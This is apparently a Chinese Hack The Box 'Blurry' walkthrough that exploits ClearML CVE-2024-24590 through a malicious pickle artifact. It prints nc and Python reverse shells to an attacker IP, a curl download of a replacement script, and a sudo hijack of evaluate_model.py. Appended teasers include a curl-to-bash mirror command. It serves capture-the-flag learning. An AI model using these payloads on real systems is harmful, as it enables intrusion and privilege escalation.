htb_Blurry

在这里插入图片描述
端口扫描
在这里插入图片描述
80
在这里插入图片描述
按照教程注册安装clear ml
在这里插入图片描述
加载configuration的时候会报错
在这里插入图片描述
将json里的API,File Store的host都添加到/etc/hosts中

在这里插入图片描述

即可成功初始化
在这里插入图片描述
查找clear ml漏洞
发现一个cve-2024-24590
在这里插入图片描述

下面是一个利用脚本,但不能直接用
ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590-/exploit.py at main · LordVileOnX/ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590- (github.com)

查看All Experiments
有一个Review JSON Artifacts脚本
观察可知这个脚本会定时循环运行
在这里插入图片描述
以下是脚本代码,关键地方都做了注释
总而言之就是该脚本会检查所有标记为"review"的项目名为"Black Swan"的任务
如果artifact是dict类型,就会将其反序列化

# !/usr/bin/python3from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient#打印出传入的字典data中的所有键值对
def process_json_artifact(data, artifact_name):"""Process a JSON artifact represented as a Python dictionary.Print all key-value pairs contained in the dictionary."""print(f"[+] Artifact '{artifact_name}' Contents:")for key, value in data.items():print(f" - {key}: {value}")#接收一个task
def process_task(task):artifacts = task.artifacts#遍历task的所有artifacts#if 是dict,调用process_json_artifactfor artifact_name, artifact_object in artifacts.items():data = artifact_object.get()if isinstance(data, dict):process_json_artifact(data, artifact_name)else:print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")def main():#初始化ClearML任务review_task = Task.init(project_name="Black Swan",task_name="Review JSON Artifacts",task_type=Task.TaskTypes.data_processing)# Retrieve tasks tagged for review#检索所有标记为"review"的项目名为"Black Swan"的任务tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)if not tasks:print("[!] No tasks up for review.")returnthreads = []# 如果有任务,脚本将为每个任务创建一个进程,调用process_task函数来处理任务中的工件for task in tasks:print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")p = Process(target=process_task, args=(task,))p.start()threads.append(p)task.set_archived(True)for thread in threads:thread.join(60)if thread.is_alive():thread.terminate()# Mark the ClearML task as completedreview_task.close()def cleanup():client = APIClient()tasks = client.tasks.get_all(system_tags=["archived"],only_fields=["id"],order_by=["-last_update"],page_size=100,page=0,)# delete and cleanup tasksfor task in tasks:# noinspection PyBroadExceptiontry:deleted_task = Task.get_task(task_id=task.id)deleted_task.delete(delete_artifacts_and_models=True,skip_models_used_by_other_tasks=True,raise_on_error=False)except Exception as ex:continueif __name__ == "__main__":main()cleanup()

以下是反弹shell的payload

from clearml import Task
import pickle, osclass Common:def __reduce__(self):command = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f'return (os.system, (command,))instance = Common()
#common = pickle.dumps(instance)
mydict = {'com_artifact': instance}task = Task.init(project_name='Black Swan', task_name='cctask', tags=["review"])
task.upload_artifact(name='cc', artifact_object=mydict, retries=2, wait_on_upload=True, extension_name=".pkl")

成功反弹
sudo -l 发现有sudo权限
在这里插入图片描述

以下是evaluate_model脚本

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.if [ "$#" -ne 1 ]; then/usr/bin/echo "Usage: $0 <path_to_model.pth>"exit 1
fiMODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  /usr/bin/mkdir -p "$TEMP_DIR"file_type=$(/usr/bin/file --brief "$MODEL_FILE")# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then# POSIX tar archive (older PyTorch format)/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then# Zip archive (newer PyTorch format)/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"exit 2
fi/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; dofickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."/bin/rm "$MODEL_FILE"breakfi
done/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"if [ -f "$MODEL_FILE" ]; then/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"fi
  1. #!/bin/bash:这是一个shebang行,告诉系统这个脚本应该使用Bash解释器来执行。 2-4. 注释:解释脚本的功能和安全检查。 5-7. 参数检查:脚本检查是否传入了一个参数(模型文件的路径)。如果没有传入参数,打印用法信息并退出。
  2. MODEL_FILE="$1":将脚本的第一个参数(模型文件的路径)赋值给变量MODEL_FILE
  3. TEMP_DIR="/models/temp":设置一个临时目录的路径,用于存放解压的模型文件。
  4. PYTHON_SCRIPT="/models/evaluate_model.py":设置用于评估模型的Python脚本的路径。
  5. /usr/bin/mkdir -p "$TEMP_DIR":创建临时目录,如果目录已存在则不做任何操作。
  6. file_type=$(/usr/bin/file --brief "$MODEL_FILE"):使用file命令检查模型文件的类型,并将其存储在变量file_type中。 16-21.
    文件类型检查:根据file_type的值,判断模型文件是POSIX tar归档还是Zip归档,并使用相应的命令解压到临时目录。
    24-35.
    安全检查:使用find命令查找临时目录中所有的.pkl文件,然后对每个文件使用fickling工具进行安全检查。如果fickling的输出表明文件包含"OVERTLY_MALICIOUS"(极度恶意)的组件,则打印警告信息,删除模型文件,并中断循环。
    37-38. 清理临时文件:删除临时目录中的所有文件。
  7. 删除临时目录:如果临时目录为空,则删除该目录。 42-45. 如果模型文件通过了安全检查,打印安全确认信息,并使用指定的Python脚本进行模型评估。

上述evaluate_model可利用的地方大概只有最后使用evaluate_model.py对传入的.pth执行那一段
就是这个(其实我也不确定…)
在这里插入图片描述

传入的pth可控制,猜测可以修改pth的内容实现提权
但是我没做,因为不太懂这个…

后面回去查看models目录的权限,发现jippity对该目录有修改权限
在这里插入图片描述

虽然jippity用户对原本的evaluate_model.py没有修改权限,但是因为有目录权限,可以通过删除原本的evaluate_model.py,再传入新的evaluate_model.py对其进行覆盖

搞一个python的反弹shell
在这里插入图片描述

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.21",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/sh")
rm evaluate_model.pycurl http://10.10.14.21:8899/evaluate_model.py -o evaluate_model.pysudo /usr/bin/evaluate_model /models/*.pth

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/30852.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

好用的linux一键换源脚本

最近发现一个好用的linux一键换源脚本&#xff0c;记录一下 官方链接 大陆使用 bash <(curl -sSL https://linuxmirrors.cn/main.sh)# github地址 bash <(curl -sSL https://raw.githubusercontent.com/SuperManito/LinuxMirrors/main/ChangeMirrors.sh) # gitee地址 …

Linux基础命令大全(详解版)

Linux基础命令&#xff08;详解版&#xff09; 文章目录 Linux基础命令&#xff08;详解版&#xff09;1.Linux的目录结构**2.Linux路径的描述方式**3.Linux命令基础格式4.ls命令 隐藏文件、文件夹5.pwd命令6.cd命令 特殊路径符7.mkdir命令 文件操作命令8.touch命令9.cat命令10…

英伟达中国特供芯片降价背后:巨头与市场的较量

英伟达&#xff0c;这家曾经在人工智能芯片领域独领风骚的巨头&#xff0c;近期在中国市场遭遇了一些挑战。为了应对来自华为等中国本土企业的竞争&#xff0c;英伟达不得不采取降价策略&#xff0c;调整其专为中国市场打造的H20芯片价格&#xff0c;甚至低于华为的同类产品。这…

S级猫主食冻干测评出来了:希喂、K9、朗诺实测分享

对于许多宠物主人来说&#xff0c;一到挑选主食冻干就头疼。尽管主食冻干为猫咪带来的益处远超过普通猫粮&#xff0c;但其价格也相对较高。因此&#xff0c;许多宠物主人担心高价购买的主食冻干营养价值并不高。实际上&#xff0c;除了营养&#xff0c;安全性和配方也是选购时…

【K8s】专题五(5):Kubernetes 配置之热更新工具 Reloader

以下内容均来自个人笔记并重新梳理&#xff0c;如有错误欢迎指正&#xff01;如果对您有帮助&#xff0c;烦请点赞、关注、转发&#xff01;欢迎扫码关注个人公众号&#xff01; 目录 一、基本介绍 二、工作原理 三、部署方法 四、使用方法 一、基本介绍 Reloader 是一个用…

clickhouse学习笔记(四)库、表、分区相关DDL操作

目录 一、数据库操作 1、创建数据库 2、查询及选择数据库 3、删除数据库 二、数据表操作 1、创建表 2、删除表 3、基本操作 ①追加新字段 ②修改字段类型或默认值 ③修改字段注释 ④删除已有字段 ⑤移动数据表&#xff08;重命名&#xff09; ⑥清空表 三、默认值…

双层循环和循环语句

echo 打印 echo -n 表示不换行输出 echo -e 表示输出转义字符 echo \b 相当于退格键&#xff08;backspace&#xff09; echo \n 换行&#xff0c;相当于回车 echo \f 换行&#xff0c;换行后的新行的开头连着上一行的行尾 echo \t 相当于tab健 &#xff08;…

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE漏洞复现(CVE-2023-5827)

0x01 产品简介 华测监测预警系统2.2是一套针对地质灾害监测预警的科学、完善平台,实现了地质灾害防治管理的科学化、信息化、标准化和可视化。该系统由上海华测导航技术有限公司开发,主要服务于山体滑坡、地裂缝等地质灾害的自动化预警。 0x02 漏洞概述 华测监测预警系统2…

【IDEA】扩大虚拟机栈空间操作

输入命令参数-Xss 要更改的空间大小

查询mysql库表的几个语句

1、查询某个数据库的所有表 SELECTtable_name FROMinformation_schema.TABLES WHEREtable_schema database_namedatabase_name替换成你需要查询的数据库名称 2、查询某张表的所有字段名称 SELECTCOLUMN_NAME,column_comment FROMinformation_schema.COLUMNS WHEREtable…

LeetCode 1164, 125, 94

目录 1164. 指定日期的产品价格题目链接表要求知识点思路代码 125. 验证回文串题目链接标签简单版思路代码 复杂版思路代码 94. 二叉树的中序遍历题目链接标签递归思路代码 迭代思路代码 1164. 指定日期的产品价格 题目链接 1164. 指定日期的产品价格 表 表Products的字段为…

AI 编译器技术分享会:上海交大/中科院计算所/微软亚研/智源,他们来了!

4 场 Meetup、3 个城市、19 位嘉宾、1k 行业从业者、累计 100w 曝光&#xff0c; 2023 年 AI 编译器社区小小刷新了一下存在感&#xff0c;我们在非常细分的领域里找到了最为垂直的开发者和工程师&#xff0c;从 0 到 1 建立起一个个小据点&#xff0c;搭建交流平台、促成企内合…

MySQL功能测试-之应用工程

MySQL功能测试-之应用工程 前言pom.xmlapplication.yml 文件common.vo 包ResultVO config 包properties 包DruidConfigPropertyDruidMonitorProperty AutoFillMetaObjectHandlerDruidConfigFluxConfigurationMyBatisPlusConfig controller 包ClientControllerDruidControllerWe…

操作系统之如何使用C语言完成SFJ和SRTJ,并完成他的甘特图

目录 前言 SFJ SRTJ 结束语 前言 不知不觉已经写博客一个月了&#xff0c;前段时间因为学业上的一些原因咕咕咕了&#xff0c;今天我又回来了。今天我给大家带来的是C语言代码完成的SFJ和SRTJ&#xff0c;并且带大家描述他的甘特图。如果有对SFJ和SRTJ不了解的小伙伴可以翻…

Flink Sql Redis Connector

经常做开发的小伙伴肯定知道用flink连接redis的时候比较麻烦&#xff0c;更麻烦的是解析redis数据&#xff0c;如果rdis可以普通数据库那样用flink sql连接并且数据可以像表格那样展示出来就会非常方便。 历时多天&#xff0c;我终于把flink sql redis connector写出来了&…

【C语言】手写学生管理系统丨附源码+教程

最近感觉大家好多在忙C语言课设~ 我来贡献一下&#xff0c;如果对你有帮助的话谢谢大家的点赞收藏喔&#xff01; 1. 项目分析 小白的神级项目&#xff0c;99%的程序员&#xff0c;都做过这个项目&#xff01; 掌握这个项目&#xff0c;就基本掌握 C 语言了&#xff01; 跳…

idea http client GET 请求 报503错误

idea 提供的 http client 插件&#xff0c;在 GET 请求时总是 报503 的错误&#xff0c;但请求URL可以在浏览器中正常访问。 GET localhost:8080/student Response file saved. > 2024-06-20T160906.503.html 有一种原因跟本地配置的代理有关&#xff0c;如下图。如果在…

大模型应用场景在哪?探索人工智能的无限可能

随着人工智能技术的飞速发展&#xff0c;大模型在自然语言处理、计算机视觉、推荐系统等领域取得了显著成果。这些大模型&#xff0c;如OpenAI的GPT-3、谷歌的BERT、百度的ERNIE等&#xff0c;不仅在学术界引起了巨大反响&#xff0c;也在产业界得到了广泛应用。本文将以大模型…

sqlcoder实践

背景 Defog llama-3 意义 翻译自然语言到sql&#xff0c;类似脑机接口&#xff0c;大模型重要应用领域 sql是数据库查询标准;关系数据库&#xff0c;工具(datax,sqoop&#xff0c;logstash,hive)&#xff0c;非关系数据库&#xff08;MongoDB&#xff0c;图数据库&#xff…

上新:NFTScan 正式上线 Bitcoin-brc20 浏览器!

近日&#xff0c;NFTScan 团队正式对外发布了 Bitcoin-brc20 浏览器&#xff0c;将为 Bitcoin 生态的 NFT 开发者和用户提供简洁高效的 NFT 数据搜索查询服务。作为比特币生态中最火热的标准之一&#xff0c;brc20 也吸引着广泛的关注。洞悉其巨大潜力&#xff0c;NFTScan 对 b…